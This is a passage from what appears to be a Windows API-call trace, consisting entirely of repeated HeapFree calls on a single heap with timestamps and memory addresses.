	[0181.672] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.672] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.672] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.672] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.672] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.672] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.672] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.674] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.674] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.674] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.674] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.676] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.676] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.676] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.680] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.680] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.698] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.699] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.699] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.700] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.745] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.746] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.746] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.746] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.746] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.746] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.746] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.747] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.764] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.768] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.773] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.775] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.775] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.777] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.777] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.777] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.782] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.786] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.787] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.787] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.791] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.800] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.805] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.805] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.805] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.829] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.829] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.829] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.831] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.831] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.831] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.833] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.833] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0182.032] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0182.032] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0182.032] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0182.035] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0182.036] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0182.036] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0182.039] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0182.040] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0182.040] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0182.044] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0182.044] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0182.044] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0182.045] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0182.045] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0182.045] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0182.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0182.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0182.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0182.918] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0183.099] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.099] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.099] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0183.099] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.099] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.099] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0183.102] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.102] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.102] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0183.102] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.365] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.367] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.367] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.367] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.367] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.369] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.369] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.369] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.369] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.369] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.369] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.372] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.372] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.372] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.372] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.372] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.372] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.373] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.373] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.373] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.373] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.459] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.459] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.459] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0183.463] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.463] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0183.465] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.465] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.465] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.465] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.465] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.465] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.467] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.472] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.474] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.474] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.474] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.475] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.475] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.475] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.476] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.476] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.476] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.477] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0183.477] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0183.477] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.478] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.480] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.480] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.482] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.482] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.482] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.483] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.483] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.483] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.485] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.485] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.496] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.497] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.497] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.497] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.497] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.497] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.497] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.503] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.506] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.508] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.509] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.509] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.509] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.512] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.513] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.513] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.514] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.514] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.514] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.514] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.515] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.516] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.516] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.516] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.516] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.525] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.525] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.526] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.701] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.701] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0183.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0183.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.703] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.703] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.703] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.703] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0183.779] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.779] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.779] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.780] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.783] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.784] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.784] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.784] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0183.786] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.786] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.786] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
